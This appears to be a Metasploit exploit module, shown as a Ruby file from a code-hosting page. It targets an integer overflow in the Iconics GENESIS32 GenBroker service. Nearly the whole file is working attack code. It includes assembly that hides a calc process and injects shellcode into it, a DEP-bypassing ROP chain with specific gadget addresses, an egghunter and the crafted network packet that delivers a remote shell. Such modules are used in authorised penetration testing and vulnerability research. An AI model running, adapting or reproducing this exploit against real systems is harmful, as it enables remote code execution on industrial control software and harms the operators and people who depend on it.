352 lines
11 KiB
Ruby
352 lines
11 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Egghunter
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def initialize(info={})
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super(update_info(info,
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'Name' => "Iconics GENESIS32 Integer overflow version 9.21.201.01",
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'Description' => %q{
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The GenBroker service on port 38080 is affected by three integer overflow
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vulnerabilities while handling opcode 0x4b0, which is caused by abusing the
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the memory allocations needed for the number of elements passed by the client.
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This results unexpected behaviors such as direct registry calls, memory location
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calls, or arbitrary remote code execution. Please note that in order to ensure
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reliability, this exploit will try to open calc (hidden), inject itself into the
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process, and then open up a shell session. Also, DEP bypass is supported.
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},
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'Author' =>
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[
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'Luigi Auriemma', #Initial discovery, poc
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'Lincoln', #Metasploit
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'corelanc0d3r', #Metasploit + custom migrate fu
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],
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'References' =>
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[
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['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "thread",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP',
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{
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'Ret' => "\x70\x45",
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'Max' => 9000,
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Mar 21 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(38080)
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], self.class)
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end
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def exploit
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migrate_asm = %Q|
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add esp,-500 ; adjust the stack to be sure
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pushad ; save stuff
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find_kernel32: ;find kernel32
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push esi ; Save esi
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xor esi, esi ; Zero esi
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mov eax, fs:[esi + 0x4] ; Extract TEB
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mov eax, [eax - 0x1c]
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find_kernel32_base:
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find_kernel32_base_loop:
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dec eax ; Subtract to our next page
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xor ax, ax ; Zero the lower half
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cmp word [eax], 0x5a4d ; Is this the top of kernel32?
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jne find_kernel32_base_loop ; Nope? Try again.
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find_kernel32_base_finished:
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pop esi ; Restore esi
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mov edx,eax ; save base of kernel32 in edx
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jmp main_routine
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; find function pointer
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find_function:
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pushad ;save all registers
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mov ebp, [esp + 0x24] ;base address of module that is being loaded in ebp
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mov eax, [ebp + 0x3c] ;skip over MSDOS header
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mov edx, [ebp + eax + 0x78] ;go to export table and put RVA in edx
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add edx, ebp ;add base address to it.
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mov ecx, [edx + 0x18] ;set up counter ECX (how many exported items are in array ?)
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mov ebx, [edx + 0x20] ;put names table relative offset in ebx
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add ebx, ebp ;add base address to it (ebx = absolute address of names table)
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;(should never happen)
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;unless function could not be found
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find_function_loop:
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jecxz find_function_finished ;if ecx=0, then last symbol has been checked.
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dec ecx ;ecx=ecx-1
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;with the current symbol
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;and store offset in esi
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mov esi, [ebx + ecx * 4] ;get relative offset of the name associated
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add esi, ebp ;add base address (esi = absolute address of current symbol)
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compute_hash:
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xor edi, edi ;zero out edi
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xor eax, eax ;zero out eax
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cld ;clear direction flag.
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compute_hash_again:
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lodsb ;load bytes at esi (current symbol name) into al, + increment esi
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test al, al ;end of string ?
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jz compute_hash_finished ;yes
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ror edi, 0xd ;no, rotate value of hash 13 bits to the right
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add edi, eax ;add current character of symbol name to hash accumulator
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jmp compute_hash_again ;continue loop
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compute_hash_finished:
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find_function_compare:
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cmp edi, [esp + 0x28] ;see if computed hash matches requested hash (at esp+0x28)
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jnz find_function_loop ;no match, go to next symbol
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mov ebx, [edx + 0x24] ;if match : extract ordinals table (relative offset and put in ebx)
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add ebx, ebp ;add base address (ebx = absolute address of ordinals address table)
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mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)
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mov ebx, [edx + 0x1c] ;get address table relative and put in ebx
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add ebx, ebp ;add base address (ebx = absolute address of address table)
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mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal and put in eax
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add eax, ebp ;add base address (eax = absolute address of function address)
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mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad (return func addr in eax)
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find_function_finished: ;retrieve original registers (eax will contain function address)
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popad
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ret
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;--------------------------------------------------------------------------------------
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find_funcs_for_dll:
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lodsd ;load current hash into eax (pointed to by esi)
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push eax ;push hash to stack
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push edx ;push base address of dll to stack
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call find_function
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mov [edi], eax ;write function pointer into address at edi
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add esp, 0x08 ;adjust stack
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add edi, 0x04 ;increase edi to store next pointer
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cmp esi, ecx ;did we process all hashes yet ?
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jne find_funcs_for_dll ;get next hash and lookup function pointer
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find_funcs_for_dll_finished:
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ret
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;--------------------------------------------------------------------------------------
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main_routine:
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sub esp,0x1c ;allocate space on stack to store function addresses + ptr to string
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mov ebp,esp
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; ebp+4 : GetStartupInfo
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; ebp+8 : CreateProcess
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; ebp+C : VirtualAllocEx
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; ebp+10 : WriteProcessMemory
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; ebp+14 : CreateRemoteThread
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; ebp+18 : Sleep
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; ebp+1c : ptr to calc
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jmp get_func_hash
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get_func_hash_return:
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pop esi ;get pointer to hashes into esi
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;edi will be increased with 0x04 for each hash
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lea edi, [ebp+0x4] ;we will store the function addresses at edi
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mov ecx,esi
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add ecx,0x18
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call find_funcs_for_dll ;get function pointers for all hashes
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; get our own startupinfo at esp+0x60
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; ebp+4 = GetStartupInfo
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mov edx,esp
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add edx,0x60
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push edx
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call [ebp+0x4]
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;ptr to startupinfo is in eax
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; create a new process
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; pointer to string is in ecx
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; ebp+8 = CreateProcessA
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; ptr to startupinfo is now in eax
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; no need to patch startupinfo, target runs as a service
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; +2c : dwFlags : set to 0x1
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; +30 : wShowWind : set to 0 (hide)
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; create the process
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mov edi,eax
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add edi,48
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push edi ; lpProcessInformation : write processinfo here
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push eax ; lpStartupInfo : current info (read)
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push 0 ; lpCurrentDirectory
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push 0 ; lpEnvironment
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push 0x08000000 ; dwCreationFlags
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push 0 ; bInHeritHandles
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push 0
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push 0
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push esi ; ptr to calc
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push 0
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call [ebp+0x8]
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; muahah calc ftw, now sleep a bit
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push 0xbb8 ; 3 seconds
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call [ebp+0x18]
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; allocate memory in the process (VirtualAllocEx())
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; get handle
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mov ecx,[edi]
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push 0x40 ; RWX
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push 0x1000 ; MEM_COMMIT
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push 0x1000 ; size
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push 0 ; address
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push ecx ; handle
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call [ebp+0xc]
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; eax now contains the destination
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; WriteProcessMemory()
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mov ecx,[edi] ; pick up handle again
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push 0x1000 ; size
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; pick up pointer to shellcode & push to stack
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mov ebx,[esp+0x20]
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add ebx,320
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push ebx ; source
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push eax ; destination
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push ecx ; handle
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call [ebp+0x10]
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; run the code (CreateRemoteThread())
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mov ecx,[edi] ; pick up handle again
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push 0 ; lpthreadID
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push 0 ; run immediately
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push 0 ; no parameter
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mov ebx,[esp-0x4]
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push ebx ; shellcode
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push 0x2000 ; stacksize
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push 0 ; lpThreadAttributes
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push ecx
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call [ebp+0x14] ; go baby !
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get_func_hash:
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call get_func_hash_return
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db 0xD7 ;GetStartupInfoA
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db 0xE3
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db 0x7A
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db 0x86
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db 0x72 ;CreateProcessA
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db 0xfe
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db 0xb3
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db 0x16
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db 0x9c ;VirtualAllocEx
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db 0x95
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db 0x1a
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db 0x6e
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db 0xa1 ;WriteProcessMemory
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db 0x6a
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db 0x3d
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db 0xd8
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db 0xdd ;CreateRemoteThread
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db 0x9c
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db 0xbd
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db 0x72 ;Sleep
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db 0xB0
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db 0x49
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db 0x2D
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db 0xDB
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; sneak in ptr to string too :)
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db "calc"
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db 0x00
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migrate = Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
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nops = make_nops(10) * 4
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thepayload = migrate << nops << payload.encoded
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eggoptions =
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{
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:eggtag => 'w00t',
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}
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hunter, egg = generate_egghunter(thepayload, "", eggoptions)
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header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
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header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"
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rop_chain =
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[
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0x100b257b, # POP ESP # RETN
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0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
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0x10047355, # Duplicate, readable, RETN
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0x10047355, # POP EAX # RETN ** [GenClientU.dll]
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0xffffffde,
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0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]
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0x1011e33e, # XCHG EAX,EDX # RETN
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0x1001ab22, # POP ECX # RETN ** [GenClientU.dll]
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0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)
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0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll]
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0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
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0x10080163, # POP ESI # RETN -> EDI
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0x41414141,
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0x41414141,
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0xffffffff, # NtCurrentProcess() (EBX)
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0x7c331d24, # ptr to 0x2 -> ECX
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0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll]
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0x10047355, # POP EAX # RETN ** [GenClientU.dll]
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0xfffffffc,
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0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]
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0x100dda84, # PUSHAD # RETN ** [GenClientU.dll]
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0x90908aeb, # go to egghunter
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].pack('V*')
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sploit = target['Ret'] * 180
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sploit << [0x74757677].pack('V') * 8
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sploit << "\x77\x77"
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sploit << hunter #32 byte hunter, no room for checksum
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sploit << rop_chain
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sploit << make_nops(28)
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sploit << egg
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sploit << rand_text_alpha(target['Max']-sploit.length)
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connect
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print_status("Sending request. This will take a few seconds...")
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sock.put(header + sploit)
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handler
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disconnect
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end
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end
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